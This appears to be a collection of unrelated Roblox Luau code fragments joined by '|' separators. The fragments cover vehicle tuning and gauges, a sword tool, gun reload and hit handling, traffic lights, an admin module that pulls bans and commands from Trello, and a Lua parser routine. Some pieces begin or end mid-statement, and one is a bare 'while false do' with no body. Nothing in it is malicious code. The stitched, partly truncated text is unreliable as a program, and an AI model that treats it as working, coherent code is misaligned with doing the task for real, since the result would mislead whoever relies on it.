local isSelected = self.state.selectedIndex == index and renderedIndex == mid
-- Offset from the current selected index
local offset = mid - renderedIndex
return self.position:map(function(position)
if not self.isAnimating then
return isSelected and TRANSPARENCY_SELECTED or TRANSPARENCY_NOT_SELECTED
end
local progress = 0
if self.target:getValue() ~= 0 then
progress = position / self.target:getValue()
end
local res
if isSelected then
-- Current selected (we should fade this out since we only set state AFTER the position
-- animation completes)
res = progress * TRANSPARENCY_NOT_SELECTED
elseif self.formatTargetIndex(index, offset) == self.targetIndex then
-- Target rendered index that we want to get to
res = TRANSPARENCY_NOT_SELECTED * (1 - progress)
else
-- Every other image
res = TRANSPARENCY_NOT_SELECTED
end
return res
end)
end
end
return modules
|
--Damage
|
HitBox.Touched:Connect(function(A)
if Activo.Value == true then
if A.Parent:FindFirstChild("Humanoid") then
A.Parent.Humanoid.Health = A.Parent.Humanoid.Health - 40
end
end
end)
|
--EDIT BELOW----------------------------------------------------------------------
|
settings.PianoSoundRange = 70
settings.KeyAesthetics = true
settings.PianoSounds = {
"251400436",
"251427671",
"251427880",
"251428187",
"251428448",
"251428570"
}
|
--//Script\\--
|
function whileTouching()
script.Parent.AutomaticF.Disabled = false
end
function letGo()
script.Parent.Lighted.Disabled = true
script.Parent.LightedOff.Disabled = false
wait(1)
--wait(1.4)
script.Parent.AutoFlush.Disabled = false
script.Disabled = true
end
|
--if something doesn't work, pls contact me on YT or on discord: https://discord.gg/jpSF5jA
| |
-- Appeler la fonction pour déplacer MovingPart vers Projection
|
pp.Triggered:Connect(function()
moveTowardsProjection()
end)
|
-- Get the UserInputService
|
local userInputService = game:GetService("UserInputService")
|
--> References
|
local Fountain = script.Parent
local HealPart = Fountain.Heal
|
-- Written By Kip Turner, Copyright Roblox 2014
|
local newClickToMove = script:FindFirstChild("NewClickToMove")
if newClickToMove then
local newClickToMoveFlagSuccess, newClickToMoveFlagEnabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserUseNewClickToMove")
end)
local useNewClickToMove = newClickToMoveFlagSuccess and newClickToMoveFlagEnabled
if useNewClickToMove then
return require(newClickToMove)
end
end
local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local CameraScript = script.Parent
local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera'))
local Player = PlayerService.localPlayer
local MyMouse = Player:GetMouse()
local DirectPathEnabled = false
local SHOW_PATH = false
local Y_VECTOR3 = Vector3.new(0, 1, 0)
local XZ_VECTOR3 = Vector3.new(1, 0, 1)
local ZERO_VECTOR3 = Vector3.new(0, 0, 0)
local ZERO_VECTOR2 = Vector2.new(0, 0)
local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList
local GetPartsTouchingExtents = workspace.FindPartsInRegion3
local math_min = math.min
local math_max = math.max
local math_pi = math.pi
local math_floor = math.floor
local math_abs = math.abs
local math_deg = math.deg
local math_acos = math.acos
local math_sin = math.sin
local math_atan2 = math.atan2
local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local CFrame_new = CFrame.new
local CurrentSeatPart = nil
local DrivingTo = nil
|
------
|
local M = require(game.ServerScriptService["GC Server"].Services.CPRaid);
while false do
|
--this'll be grey "Spawn" if a car isn't selected
|
script.Parent.MouseButton1Click:connect(function()
script.Parent.Parent.WearOutfit:Fire()
end)
|
-- place this LocalScript into your thirst ScreenGui
|
local Engine = game.ReplicatedStorage:WaitForChild("ACS_Engine")
local ServerConfig = require(Engine.ServerConfigs:WaitForChild("Config"))
local thirstGui = script.Parent
local MedicSys = game.ReplicatedStorage.ACS_Engine.Eventos.MedSys
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 210 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- <Region> CreateRegionFromPart(<BasePart> Part)
|
--Creates Region from BasePart
--Returns <Region>
local function CreateRegionFromPart(Part)
local Center = Part.Position
local Size = Part.Size
local X, Y, Z = Part.CFrame:toEulerAnglesXYZ()
local Rotation = Vector3.new(X, Y, Z)
return CreateRegion(Center, Rotation, Size)
end
|
--Prizes starting from the TOP POSITION and going ANTI-CLOCKWISE.
|
local prizes = {
500,
100,
300,
200,
100,
300,
750,
100,
300,
200,
100,
200,
100,
200,
100,
200,
}
return prizes
|
-- events
|
REMOTES.Reload.OnServerEvent:connect(function(player, item)
local character = player.Character
if character then
local equipped = character.Equipped
local ammo = character.Ammo
if equipped.Value == item then
local config = CONFIG:GetConfig(item)
local storedAmmo = ammo[config.Size]
local itemAmmo = item.Ammo
if storedAmmo.Value > 0 then
if cancels[item] then
cancels[item] = nil
end
local magazine = config.Magazine
for _, p in pairs(Players:GetPlayers()) do
if p ~= player then
REMOTES.Effect:FireClient(p, "Reload", item)
end
end
local needed = magazine - itemAmmo.Value
local start = tick()
local elapsed = 0
repeat
elapsed = tick() - start
RunService.Stepped:wait()
until elapsed >= config.ReloadTime or equipped.Value ~= item or cancels[item]
if equipped.Value == item then
if elapsed >= config.ReloadTime then
if storedAmmo.Value >= needed then
itemAmmo.Value = itemAmmo.Value + needed
storedAmmo.Value = storedAmmo.Value - needed
else
itemAmmo.Value = itemAmmo.Value + storedAmmo.Value
storedAmmo.Value = 0
end
end
end
if cancels[item] then
cancels[item] = nil
end
end
end
end
end)
REMOTES.Hit.OnServerEvent:connect(function(player, hit, index)
spawn(function() -- spawn to avoid race conditions
local shot = shots[player]
if shot then
local character = player.Character
local equipped = character.Equipped
if equipped.Value == shot.Item then
local humanoid = hit.Parent:FindFirstChildOfClass("Humanoid")
if humanoid then
if DAMAGE:PlayerCanDamage(player, humanoid) then
local position = shot.Position
local direction = shot.Directions[index]
local config = shot.Config
if direction then
local ray = Ray.new(position, direction)
local distance = (hit.Position - position).Magnitude
local ignore = {}
for _, p in pairs(Players:GetPlayers()) do
if p.Character then
table.insert(ignore, p.Character)
end
end
--local h = Raycast(position, direction.Unit * distance, ignore)
if distance <= config.Range then --and (not h) then
local offset = ray:Distance(hit.Position)
if offset < 15 then
if humanoid.Health > 0 then
shot.Directions[index] = nil
local numDir = 0
for _, v in pairs(shot.Directions) do
if v then
numDir = numDir + 1
end
end
if numDir == 0 then
shots[player] = nil
end
local down = humanoid:FindFirstChild("Down")
local alreadyDowned = false
if down then
alreadyDowned = down.Value
end
local damage = DAMAGE:Calculate(shot.Item, hit, position)
DAMAGE:Damage(humanoid, damage, player)
local otherPlayer = Players:GetPlayerFromCharacter(humanoid.Parent)
if otherPlayer then
REMOTES.HitIndicator:FireClient(otherPlayer, direction, damage)
end
if humanoid.Health <= 0 then
for _, part in pairs(humanoid.Parent:GetChildren()) do
if part:IsA("BasePart") then
part.Velocity = direction * config.Damage
end
end
local killDist = math.floor((position - humanoid.Parent.HumanoidRootPart.Position).Magnitude + 0.5)
STAT_SCRIPT.FurthestKill:Fire(player, killDist)
REMOTES.Killfeed:FireAllClients(player.Name, humanoid.Parent.Name, shot.Item.Name, killDist)
end
end
end
end
end
end
end
end
end
end)
end)
REMOTES.Shoot.OnServerEvent:connect(function(player, item, position, directions)
if shots[player] then
shots[player] = nil
end
local character = player.Character
local rootPart = character.HumanoidRootPart
local humanoid = character.Humanoid
local down = humanoid.Down
local equipped = character.Equipped
local items = character.Items
if item.Parent == items and not down.Value then
if (rootPart.Position - position).Magnitude < 15 then
if equipped.Value == item then
local ammo = item.Ammo
local config = CONFIG:GetConfig(item)
if #directions == config.ShotSize then
if ammo.Value > 0 then
ammo.Value = ammo.Value - 1
for i, dir in pairs(directions) do
directions[i] = dir.Unit
end
local shot = {
Item = item;
Config = config;
Position = position;
Directions = directions;
}
shots[player] = shot
cancels[item] = true
for _, other in pairs(Players:GetPlayers()) do
if other ~= player then
REMOTES.Effect:FireClient(other, "Shoot", item, position, directions)
end
end
end
end
end
end
end
end)
Players.PlayerRemoving:connect(function(player)
if shots[player] then
shots[player] = nil
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
while wait(60) do
script.Parent.Content:TweenPosition(UDim2.new(1.5, 0, 0.055, 0));
wait(0.5);
script.Parent.Content2:TweenPosition(UDim2.new(0.988, 0, 0.055, 0));
wait(60);
script.Parent.Content2:TweenPosition(UDim2.new(1.5, 0, 0.055, 0));
wait(0.5);
script.Parent.Content:TweenPosition(UDim2.new(0.988, 0, 0.055, 0));
end;
|
-- Display win dialog
|
local function openDlg(winnerName)
playerNameWins.Text = winnerName
dlg.Visible = true
end
|
--- Registers the default commands, with an optional filter function or array of groups.
|
function Registry:RegisterDefaultCommands (arrayOrFunc)
local isArray = type(arrayOrFunc) == "table"
if isArray then
arrayOrFunc = Util.MakeDictionary(arrayOrFunc)
end
self:RegisterCommandsIn(self.Cmdr.DefaultCommandsFolder, isArray and function (command)
return arrayOrFunc[command.Group] or false
end or arrayOrFunc)
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 12
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--when verifying friendships, we just check both the caller and the target's friend lists to see if the IDs are found in both lists
|
local friendlists = {} --Key: person's username. Value: table of online friends' user IDs
function CheckFriendship(caller,target)
if caller == nil or target == nil or friendlists[caller.Name] == nil or friendlists[target.Name] == nil then return false end
local f1 = false
local f2 = false
for _,v in pairs(friendlists[caller.Name]) do
if v == target.userId then
f1 = true
break
end
end
for _,v in pairs(friendlists[target.Name]) do
if v == caller.userId then
f2 = true
break
end
end
if f1 == true and f2 == true then
return true
else
return false
end
end
game.ReplicatedStorage.RemoteFunctions.SendFriendsOnlineData.OnServerEvent:connect(function(plr,tbl) --client should send a table of all friend userIDs
if type(tbl) == "table" and #tbl <= 200 then
for _,v in pairs(tbl) do
if type(v) ~= "number" then return end
end
friendlists[plr.Name] = tbl
end
end)
game.ServerStorage.RemoteFunctions.PlayersAreFriends.OnInvoke = function(caller,target)
return CheckFriendship(caller,target)
end
game.Players.PlayerRemoving:connect(function(plr)
friendlists[plr.Name] = nil
end)
|
--[=[
@param optionB Option
@return Option
Returns `optionB` if the calling option has a value,
otherwise returns None.
```lua
local optionA = Option.Some(32)
local optionB = Option.Some(64)
local opt = optionA:And(optionB)
-- opt == optionB
local optionA = Option.None
local optionB = Option.Some(64)
local opt = optionA:And(optionB)
-- opt == Option.None
```
]=]
|
function Option:And(optionB)
if self:IsSome() then
return optionB
else
return Option.None
end
end
|
--[[
Contains the logic to run a test plan and gather test results from it.
TestRunner accepts a TestPlan object, executes the planned tests, and
produces a TestResults object. While the tests are running, the system's
state is contained inside a TestSession object.
]]
|
local Expectation = require(script.Parent.Expectation)
local TestEnum = require(script.Parent.TestEnum)
local TestSession = require(script.Parent.TestSession)
local LifecycleHooks = require(script.Parent.LifecycleHooks)
local RUNNING_GLOBAL = "__TESTEZ_RUNNING_TEST__"
local TestRunner = {
environment = {}
}
function TestRunner.environment.expect(...)
return Expectation.new(...)
end
|
--// HTTP
|
return function()
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Logs:AddLog("Script", "HTTP Module Initialized")
end;
server.HTTP = {
Init = Init;
Service = service.HttpService;
CheckHttp = function()
local y,n = pcall(function()
local hs = service.HttpService
local get = hs:GetAsync('http://google.com')
end)
if y and not n then return true end
end;
Trello = {
Helpers = {};
Moderators = {};
Admins = {};
Owners = {};
Creators = {};
Mutes = {};
Bans = {};
Music = {};
Agents = {};
Blacklist = {};
Whitelist = {};
PerformedCommands = {};
Update = function()
if not HTTP.CheckHttp() then
--HTPP.Trello.Bans = {'Http is not enabled! Cannot connect to Trello!'}
warn('Http is not enabled! Cannot connect to Trello!')
elseif not Settings.Trello_Enabled then
-- Do something else?
else
local boards = {}
local bans = {}
local admins = {}
local mods = {}
local owners = {}
local helpers = {}
local creators = {}
local agents = {}
local music = {}
local mutes = {}
local perms = {}
local blacklist = {}
local whitelist = {}
local function grabData(board)
local trello = HTTP.Trello.API(Settings.Trello_AppKey,Settings.Trello_Token)
local lists = trello.getLists(board)
local banList = trello.getListObj(lists,{"Banlist","Ban List","Bans"})
local commandList = trello.getListObj(lists,{"Commands","Command List"})
local adminList = trello.getListObj(lists,{"Admins","Admin List","Adminlist"})
local modList = trello.getListObj(lists,{"Moderators","Moderator List","Moderatorlist","Modlist","Mod List","Mods"})
local creatorList = trello.getListObj(lists,{"Creators","Creator List","Creatorlist","Place Owners"})
local ownerList = trello.getListObj(lists,{"Owners","Owner List","Ownerlist"})
local musicList = trello.getListObj(lists,{"Music","Music List","Musiclist","Songs"})
local permList = trello.getListObj(lists,{"Permissions","Permission List","Permlist"})
local muteList = trello.getListObj(lists,{"Mutelist","Mute List"})
local agentList = trello.getListObj(lists,{"Agents","Agent List","Agentlist"})
local bList = trello.getListObj(lists,"Blacklist")
local wList = trello.getListObj(lists,"Whitelist")
if banList then
local cards = trello.getCards(banList.id)
for l,k in pairs(cards) do
table.insert(bans,k.name)
end
end
if creatorList then
local cards = trello.getCards(creatorList.id)
for l,k in pairs(cards) do
table.insert(creators,k.name)
end
end
if modList then
local cards = trello.getCards(modList.id)
for l,k in pairs(cards) do
table.insert(mods,k.name)
end
end
if adminList then
local cards = trello.getCards(adminList.id)
for l,k in pairs(cards) do
table.insert(admins,k.name)
end
end
if ownerList then
local cards = trello.getCards(ownerList.id)
for l,k in pairs(cards) do
table.insert(owners,k.name)
end
end
if agentList then
local cards = trello.getCards(agentList.id)
for l,k in pairs(cards) do
table.insert(agents,k.name)
end
end
if musicList then
local cards = trello.getCards(musicList.id)
for l,k in pairs(cards) do
if k.name:match('^(.*):(.*)') then
local a,b=k.name:match('^(.*):(.*)')
table.insert(music,{Name = a,ID = tonumber(b)})
end
end
end
if muteList then
local cards = trello.getCards(muteList.id)
for l,k in pairs(cards) do
table.insert(mutes,k.name)
end
end
if bList then
local cards = trello.getCards(bList.id)
for l,k in pairs(cards) do
table.insert(blacklist,k.name)
end
end
if wList then
local cards = trello.getCards(wList.id)
for l,k in pairs(cards) do
table.insert(whitelist,k.name)
end
end
if permList then
local cards = trello.getCards(permList.id)
for l,k in pairs(cards) do
local com,level = k.name:match("^(.*):(.*)")
if com and level then
Admin.SetPermission(com,level)
end
end
end
if commandList then
local cards = trello.getCards(commandList.id)
for l,k in pairs(cards) do
if not HTTP.Trello.PerformedCommands[tostring(k.id)] then
local cmd = k.name
local placeid
if cmd:sub(1,1)=="$" then
placeid = cmd:sub(2):match(".%d+")
cmd = cmd:sub(#placeid+2)
placeid = tonumber(placeid)
end
if placeid and game.PlaceId~=placeid then return end
Admin.RunCommand(cmd)
HTTP.Trello.PerformedCommands[tostring(k.id)] = true
Logs.AddLog(Logs.Script,{
Text = "Trello command executed";
Desc = cmd;
})
if Settings.Trello_Token ~= "" then
pcall(trello.makeComment,k.id,"Ran Command: "..cmd.."\nPlace ID: "..game.PlaceId.."\nServer Job Id: "..game.JobId.."\nServer Players: "..#service.GetPlayers().."\nServer Time: "..service.GetTime())
end
end
end
end
end
for i,v in pairs(Settings.Trello_Secondary) do table.insert(boards,v) end
if Settings.Trello_Primary~="" then table.insert(boards,Settings.Trello_Primary) end
for i,v in pairs(boards) do pcall(grabData,v) end
if #bans>0 then HTTP.Trello.Bans = bans end
if #creators>0 then HTTP.Trello.Creators = creators end
if #admins>0 then HTTP.Trello.Admins = admins end
if #mods>0 then HTTP.Trello.Moderators = mods end
if #owners>0 then HTTP.Trello.Owners = owners end
if #music>0 then HTTP.Trello.Music = music end
if #mutes>0 then HTTP.Trello.Mutes = mutes end
if #agents>0 then HTTP.Trello.Agents = agents end
if #blacklist>0 then HTTP.Trello.Blacklist = blacklist end
if #whitelist>0 then HTTP.Trello.Whitelist = whitelist end
for i,v in pairs(service.GetPlayers()) do
local Banned = Admin.CheckBan(v)
if Banned[1] then
v:Kick(Banned[2])
end
if v and v.Parent then
for ind,admin in pairs(HTTP.Trello.Mutes) do
if Admin.DoCheck(v,admin) then
Remote.LoadCode(v,[[service.StarterGui:SetCoreGuiEnabled("Chat",false) client.Variables.ChatEnabled = false client.Variables.Muted = true]])
end
end
end
Admin.UpdateCachedLevel(v)
end
Logs.AddLog(Logs.Script,{
Text = "Updated Trello Data";
Desc = "Data was retreived from Trello";
})
end
end;
CheckAgent = function(p)
for ind,v in pairs(HTTP.Trello.Agents) do
if Admin.DoCheck(p,v) then
return true
end
end
end;
};
};
end
|
------------------------------------------------------------------------
-- parse a break statement
-- * used in statements()
------------------------------------------------------------------------
|
function luaY:breakstat(ls)
-- stat -> BREAK
local fs = ls.fs
local bl = fs.bl
local upval = false
while bl and not bl.isbreakable do
if bl.upval then upval = true end
bl = bl.previous
end
if not bl then
luaX:syntaxerror(ls, "no loop to break")
end
if upval then
luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
end
bl.breaklist = luaK:concat(fs, bl.breaklist, luaK:jump(fs))
end
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
return Tune
|
--Main Control------------------------------------------------------------------------
|
Red = script.Parent.Red.Lamp
Yellow = script.Parent.Yellow.Lamp
Green = script.Parent.Green.Lamp
DRed = script.Parent.Red.DynamicLight
DYellow = script.Parent.Yellow.DynamicLight
DGreen = script.Parent.Green.DynamicLight
function Active()
if Signal.Value == 0 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = false
DGreen.Enabled = false
DYellow.Enabled = false
DRed.Enabled = false
GArrow.Enabled = false
YArrow.Enabled = false
FYellow.Enabled = false
DGArrow.Enabled = false
DYArrow.Enabled = false
DFYellow.Enabled = false
elseif Signal.Value == 1 then
while Signal.Value == 1 do
Green.Enabled = true
Yellow.Enabled = false
Red.Enabled = false
DGreen.Enabled = true
DYellow.Enabled = false
DRed.Enabled = false
while Signal.Value == 1 do
YArrow.Enabled = false
FYellow.Enabled = true
GArrow.Enabled = false
DRed.Enabled = false
DYellow.Enabled = false
DFYellow.Enabled = true
DGArrow.Enabled = false
wait(.5)
FYellow.Enabled = false
DFYellow.Enabled = false
wait(.5)
if Signal.Value ~= 1 then break end
if Turn.Value == 1 then break end
if Turn.Value == 2 then break end
if Turn.Value == 3 then break end
if Turn.Value == 0 then break end
end
end
elseif Signal.Value == 2 then
Green.Enabled = false
Yellow.Enabled = true
Red.Enabled = false
DGreen.Enabled = false
DYellow.Enabled = true
DRed.Enabled = false
GArrow.Enabled = false
FYellow.Enabled = false
YArrow.Enabled = true
FYellow.Enabled = false
DGArrow.Enabled = false
DYArrow.Enabled = true
elseif Signal.Value == 3 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = true
DGreen.Enabled = false
DYellow.Enabled = false
DRed.Enabled = true
GArrow.Enabled = false
FYellow.Enabled = false
YArrow.Enabled = false
DGArrow.Enabled = false
DFYellow.Enabled = false
DYArrow.Enabled = false
end
end
Signal.Changed:connect(Active)
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 90 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 90 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 20
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 90 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
